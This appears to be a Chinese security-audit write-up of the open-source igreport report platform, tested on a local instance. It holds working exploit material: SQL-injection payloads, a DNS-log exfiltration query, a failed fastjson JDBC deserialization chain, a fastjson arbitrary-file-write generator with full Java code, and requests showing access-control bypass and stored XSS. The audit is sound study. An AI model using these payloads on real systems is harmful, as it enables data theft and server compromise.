环境搭建: LYL41011/igreport: SpringBoot+Vue 企业级 智能通用报表 调度平台 管理系统 (github.com)
代码审计: 1. 查看组件版本: 1.1 mybatis:
当前springboot整合mybatis,mybatis版本为3.5.3,存在远程代码执行漏洞。
触发条件:
用户启用了内置的二级缓存
用户未设置JEP-290过滤器
需要修改org.apache.ibatis.cache.impl.PerpetualCache.cache有效的缓存密钥
全局搜索有没有开启二级缓存:
1 <cache type ="org.apache.ibatis.cache.impl.PerpetualCache" />
没有可利用的:
MyBatis远程代码执行漏洞CVE-2020-26945 - FreeBuf网络安全行业门户
1.2 druid: 1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > druid</artifactId > <version > 1.1.17</version > </dependency >
可以尝试druid未授权访问,然后查看是否配置了session,如果存在在线查看sessions,则可以直接使用session登录。
但是这里并没有配置druid相关设置。
1.3 mysql-connector-java: 1 2 3 4 5 <dependency > <groupId > mysql</groupId > <artifactId > mysql-connector-java</artifactId > <scope > runtime</scope > </dependency >
当前版本为8.0.19,刚好存在序列化(<=8.0.20)。
但是需要jdbc源可控,因此需要配合fastjson利用。
1.4 xxl-job: 1 2 3 4 5 <dependency > <groupId > com.xuxueli</groupId > <artifactId > xxl-job-core</artifactId > <version > 2.1.2</version > </dependency >
xxl-job这个版本存在任意代码执行:
1.5 fastjson: 1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.60</version > </dependency >
fastjson就可以利用我们刚才说的,打jdbc。
2. sql注入: 2.1 commonReportHandler定时任务存在sql注入: 全局搜索${
,并且过滤xml文件:
就选择IgReportMapper
:
<[!CDATAp[]]>
在mybatis中的用法就是sql中有一些特殊的字符,在解析xml文件的时候会被转义。使用CDATA可以避免此类情况。比如包含”<”、”>”、”&”等字符,最好把他们都放到CDATA中。
注意mybatis中的<if test=""></if>、<where></where>、<choose></choose>、<trim></trim>
等这些标签不能写到CDATA中。否则标签将不会被mybatis解析。
如下面的:
1 2 3 4 5 6 7 8 9 10 <select id ="getNewDlpOpenCallOrder" resultType ="org.apache.commons.collections.map.CaseInsensitiveMap" parameterType ="map" > <![CDATA[ select s.* from xxx s where s.status<5 ]]> <if test ="dateBegin != null and dateEnd != null" > <![CDATA[and s.zb_ordertime between #{dateBegin,jdbcType=TIMESTAMP} and #{dateEnd,jdbcType=TIMESTAMP}]]> </if > </select >
service层:
最终xxl-job调用:
全局搜索可以查看到xxljob执行:
最终由updateCommonReport这个路由调用,如图所示:
而这个函数中的param:
就是这前端传入的commonReportDto
,他最终转换成了json然后传进来了:
报错注入: 因此这里可以使用报错注入:
1 select updatexml(1 ,concat(0x7e ,database(),0x7e ),1 )
第一个值任意填,第二个值是报错结果,第三个值任意填
或者可以使用:
1 select extractvalue(1 ,concat(0x7e ,database()))
extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位。
修改接口处修改sql:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /api/report/updateCommonReport HTTP/1.1 Host : 127.0.0.1:8081Content-Length : 279sec-ch-ua : "Chromium";v="121", "Not A(Brand";v="99"Accept : application/json, text/plain, */*Content-Type : application/json;charset=UTF-8sec-ch-ua-mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36sec-ch-ua-platform : "Windows"Origin : http://127.0.0.1:8081Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1:8081/Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : rememberMe=MNY7VeTdyZXDTkHejTtAIPjATLfuo5N8JAOswvke4rOs0hqKdTH0Vo4KLJ7F1mTVL1+DGhqF4wwVZR2z72/fo0NDQIKYkSA6s8Ym6U6r946RuKhubY6NR+hxf/IxSYzKJilp5c1x1LLWbjUbX5g/F4B2CnmnDJwxf1DCr/Cj321K6uq9lRWng9xIIr/NFug9t7dFwmzzDqt39FISbMFcnzbjMT48uKIm3J/xgXaQr+4ybSIwfzzW3eNDOsY0GoT/bB2o4dv0oBToQr19WD5HVXbZ3PQWKw7Im99Sw1OrqFDL7DaLnFDPwvyF5GD2e3wn9m2/kgiIKamLozqs/34QfKLizbAz0FHVXGhLUAmOETgSgI82LAKyee4wEVK8wWV7hT4JaoNQoRepSFK2QDzXgYTJxUCCgfkfwU4vaSFagnVUU64WWTqXScRbvIbwAsgujUu2miuimgUHg1Wfd6aKrKXrKAuiRjaE7ngeYMcxHLgYY/JDqYSAf78K+RCgsQE3; XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a223864646366663361383066343138396361316339643464393032633363393039222c22726f6c65223a302c227065726d697373696f6e223a2231227dConnection : close{"author" :"admin" ,"authorizedPeople" :"admin" ,"dataSource" :"mysql" ,"email" :"" ,"jobCron" :"0 0 * * * ?" ,"metaDataJson" :"{\" name\" :\" zhangsan\" }" ,"reportDesc" :"testt" ,"reportFrequency" :"按天" ,"reportName" :"test111" ,"sql" :"select updatexml(1,concat(0x7e,database(),0x7e),1)" ,"id" :2 }
编辑好后点击执行,然后查看日志:
查询数据库中的表:
由于当前数据库表中存在多个表,updatexml只支持32个字符,因此可以使用substring截取长度,分多次查询:
1 SELECT UPDATEXML(1 , CONCAT(0x7e ,(select (substr((SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES where table_schema = database()),1 ,32 ))), 0x7e ), 1 );
dnslog外带: 除了使用报错注入,还可以使用dnslog外带,但是前提是secure_file_priv
为空值,并且目标主机是出网的:
1 show VARIABLES LIKE '%secure%'
1 select load_file(concat('\\\\' ,(select database()),'.srhckvkttj.dgrh3.cn\\123' ));
3. fastjson: 全局搜索JSONObject
或者JSON.parse()
等字样:
随便找一个接口:
3.1 尝试报错fastjson版本: 通过报错判断当前版本失败:
1 {"@type" :"java.lang.AutoCloseable"
原因的json的读取的通过jackjson,之后才调用JSONObject,而且没有调用JSONObject.parse
,因此这种的是不能恶意调用fastjson的。
全局搜JSON.parse()
,发现存在可控参数:
3.2 dnslog探测: updateCommonReport更新报表中,存在存在parse解析传入的元json数据,如图所示:
但是做了try catch处理,因此不能通过报错探测fastjson版本,但是可以dnslog:
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 POST /api/report/updateCommonReport HTTP/1.1 Host : 127.0.0.1:8081Accept-Language : zh-CN,zh;q=0.9Content-Type : application/json;charset=UTF-8Accept : application/json, text/plain, */*Referer : http://127.0.0.1:8081/Sec-Fetch-Mode : corssec-ch-ua-mobile : ?0Origin : http://127.0.0.1:8081Sec-Fetch-Dest : emptyCookie : XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a223864646366663361383066343138396361316339643464393032633363393039222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7dAccept-Encoding : gzip, deflate, br, zstdsec-ch-ua : "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"Sec-Fetch-Site : same-originsec-ch-ua-platform : "Windows"User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Content-Length : 331{ "author" : "admin" , "authorizedPeople" : "admin" , "dataSource" : "mysql" , "email" : "" , "jobCron" : "0 0 * * * ?" , "metaDataJson" : "{\" @type\" :\" java.net.Inet4Address\" ,\" val\" :\" thekkafatm.dgrh3.cn\" }" , "reportDesc" : "test" , "reportFrequency" : "按天" , "reportName" : "new_test" , "sql" : "select * from inteport.igreport_metadata;" , "id" : 1 }
成功dnslog:
3.3 尝试jdbc攻击(失败): 本地启动一个evil-mysql-serve,如图所示:
1 evil -mysql-server.exe -addr 3307 -ysoserial ysoserial.jar -java C:\Environment\java\8 u65\jdk1.8 .0 _65\bin\java.exe
具体payload,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { "@type" : "java.lang.AutoCloseable" , "@type" : "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection" , "proxy" : { "@type" : "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy" , "connectionUrl" : { "@type" : "com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters" : [ { "host" : "127.0.0.1" } ] , "slaves" : [ ] , "properties" : { "host" : "127.0.0.1" , "port" : 3307 , "user" : "yso_CommonsCollections5_calc" , "dbname" : "dbname" , "password" : "pass" , "queryInterceptors" : "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" , "autoDeserialize" : "true" , "allowLoadLocalInfile" : "true" } } } }
payload不能换行:
失败原因:
因为缺少cc依赖,如果存在cc依赖或者cb依赖就可以打,或者其他的反序列化入口即可。
3.4 jdk11无依赖写入文件(成功): 最终找到了一个jdk11+1.2.57<=fastjson<=1.2.68
的,无依赖写入文件:
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package com.hme;import com.alibaba.fastjson.JSON;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.util.Arrays;import java.util.Base64;import java.util.zip.Deflater;public class Fastjson_WriteFile_JDK11 { public static void main (String[] args) throws Exception { String code = gzcompress("123456" ); String payload = "{\r\n" + " \"@type\":\"java.lang.AutoCloseable\",\r\n" + " \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n" + " \"out\":\r\n" + " {\r\n" + " \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n" + " \"out\":\r\n" + " {\r\n" + " \"@type\":\"java.io.FileOutputStream\",\r\n" + " \"file\":\"e:/bbb.txt\",\r\n" + " \"append\":false\r\n" + " },\r\n" + " \"infl\":\r\n" + " {\r\n" + " \"input\":\r\n" + " {\r\n" + " \"array\":\"" +code+"\",\r\n" + " \"limit\":12\r\n" + " }\r\n" + " },\r\n" + " \"bufLen\":1048576\r\n" + " },\r\n" + " \"protocolVersion\":1\r\n" + "}\r\n" + "" ; System.out.println(payload); JSON.parseObject(payload); } public static String gzcompress (String code) { byte [] data = code.getBytes(); byte [] output = new byte [0 ]; Deflater compresser = new Deflater (); compresser.reset(); compresser.setInput(data); compresser.finish(); ByteArrayOutputStream bos = new ByteArrayOutputStream (data.length); try { byte [] buf = new byte [1024 ]; while (!compresser.finished()) { int i = compresser.deflate(buf); bos.write(buf, 0 , i); } output = bos.toByteArray(); } catch (Exception e) { output = data; e.printStackTrace(); } finally { try { bos.close(); } catch (IOException e) { e.printStackTrace(); } } compresser.end(); System.out.println(Arrays.toString(output)); return Base64.getEncoder().encodeToString(output); } }
使用方法如下:
gzcompress填入的是我们写入的内容
随后根据填入的内容修改limit,应该修改为当前输入长度的两倍
第三点就是修改file字段,修改成我们需要写入文件的地址。
注意payload不能换行:
1 2 3 4 5 6 7 8 9 10 11 12 13 { "author" : "admin" , "authorizedPeople" : "admin" , "dataSource" : "mysql" , "email" : "" , "jobCron" : "0 0 * * * ?" , "metaDataJson" : "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"sun.rmi.server.MarshalOutputStream\", \"out\": {\"@type\":\"java.util.zip.InflaterOutputStream\", \"out\": {\"@type\":\"java.io.FileOutputStream\", \"file\":\"e:/bbb.txt\", \"append\":false}, \"infl\": {\"input\": {\"array\":\"eJx7snfB06V7ARBFBIk=\", \"limit\":12}\n}, \"bufLen\":1048576}, \"protocolVersion\":1}" , "reportDesc" : "test" , "reportFrequency" : "按天" , "reportName" : "new_test" , "sql" : "select * from inteport.igreport_metadata;" , "id" : 1 }
成功写入文件:
4. 越权: 4.1 绕过登录校验: 在登陆接口中随便输入密码,拦截相应包:
登录成功:
4.2 越权查看任意用户定时任务:
当前接口没有做权限校验,通过获取用户名即可查询对应用户的job列表:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /api/jobinfo/pageList HTTP/1.1 Host : 127.0.0.1:8081Content-Length : 73sec-ch-ua : "Chromium";v="121", "Not A(Brand";v="99"Accept : application/json, text/plain, */*Content-Type : application/json;charset=UTF-8sec-ch-ua-mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36sec-ch-ua-platform : "Windows"Origin : http://127.0.0.1:8081Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1:8081/Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : XXL_JOB_LOGIN_IDENTITY=7b226964223a342c22757365726e616d65223a2274657374222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a2231227dConnection : close{ "status" : "" , "jobDesc" : "" , "userName" : "admin" , "pageIndex" : 1 , "pageSize" : 10 }
将userName改成admin即可。
4.3 越权删除任意用户任务: 当前存在的admin创建报表为6:
当前的用户为test,尝试删除管理员的任务:
删除成功:
漏洞产生原因:
前端传入的id后,没有对当前id进行校验。
5. xss: 我们查看日志中会看到,将我们的报表数据打印到日志中,因此可以推测是否存在xss?
首先判断是否存在过滤器和拦截器,全局搜索HandlerInterceptorAdapter
和Filter
都是权限校验的拦截器:
首先尝试修改报表名称,发现存在校验,即只能输入英文或这是数字的,因此修改报表描述:
点击日志后成功弹出xss:
漏洞产生原理:
添加了任务后查看日志,会调用logDetailCat查看日志信息:
但是没有对传入的数据进行校验,最终产生了xss。
参考: JAVA代码审计-企业级通用报表平台-云社区-华为云 (huaweicloud.com)
LYL41011/igreport: SpringBoot+Vue 企业级 智能通用报表 调度平台 管理系统 (github.com)